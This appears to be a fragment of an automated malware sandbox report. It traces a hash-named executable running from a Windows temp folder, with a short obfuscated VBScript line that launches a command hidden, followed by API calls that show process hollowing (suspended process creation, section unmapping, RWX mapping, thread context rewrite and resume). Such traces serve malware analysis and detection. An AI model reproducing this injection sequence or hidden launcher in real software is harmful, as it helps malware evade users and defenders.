C : \ U s e r s \ A d m i n i s t r a t o r . O s k a r - P C \ A p p D a t a \ L o c a l \ T e m p \ 5 b a 4 d 9 d f 7 2 8 7 2 1 0 b e 5 c 1 c 3 6 f 0 d 2 6 b 6 5 e . e x e " C : \ U s e r s \ A d m i n i s t r a t o r . O s k a r - P C \ A p p D a t a \ L o c a l \ T e m p \ 5 b a 4 d 9 d f 7 2 8 7 2 1 0 b e 5 c 1 c 3 6 f 0 d 2 6 b 6 5 e . e x e " D a t a P r o c e s s o r SeT wIYLkqsIAh = CREAteobject("wscriPt.shElL")
WIylkQSiaH.Run """%ls""", 0, False
process_handle:
0x000000fc
base_address:
0x000c0000
|
success
|
1 |
0
|
1620791245.653374
CreateProcessInternalW
|
thread_identifier:
3296
thread_handle:
0x00000104
process_identifier:
3292
current_directory:
filepath:
track:
1
command_line:
"C:\Users\Administrator.Oskar-PC\AppData\Local\Temp\5ba4d9df7287210be5c1c36f0d26b65e.exe"
filepath_r:
stack_pivoted:
0
creation_flags:
4
(CREATE_SUSPENDED)
process_handle:
0x00000100
inherit_handles:
0
|
success
|
1 |
0
|
1620791245.653374
NtUnmapViewOfSection
|
process_identifier:
3292
region_size:
4096
process_handle:
0x00000100
base_address:
0x00400000
|
success
|
0 |
0
|
1620791245.653374
NtMapViewOfSection
|
section_handle:
0x0000010c
process_identifier:
3292
commit_size:
790528
win32_protect:
64
(PAGE_EXECUTE_READWRITE)
buffer:
process_handle:
0x00000100
allocation_type:
0
()
section_offset:
0
view_size:
790528
base_address:
0x00400000
|
success
|
0 |
0
|
1620791247.559374
NtGetContextThread
|
thread_handle:
0x00000104
|
success
|
0 |
0
|
1620791247.559374
NtSetContextThread
|
thread_handle:
0x00000104
registers.eip:
0
registers.esp:
0
registers.edi:
0
registers.eax:
4976576
registers.ebp:
0
registers.edx:
0
registers.ebx:
2130567168
registers.esi:
0
registers.ecx:
0
process_identifier:
3292
|
success
|
0 |
0
|
1620791247.809374
NtResumeThread
|
thread_handle:
0x00000104
suspend_count:
1
process_identifier:
3292
|
success
|
0 |
0
|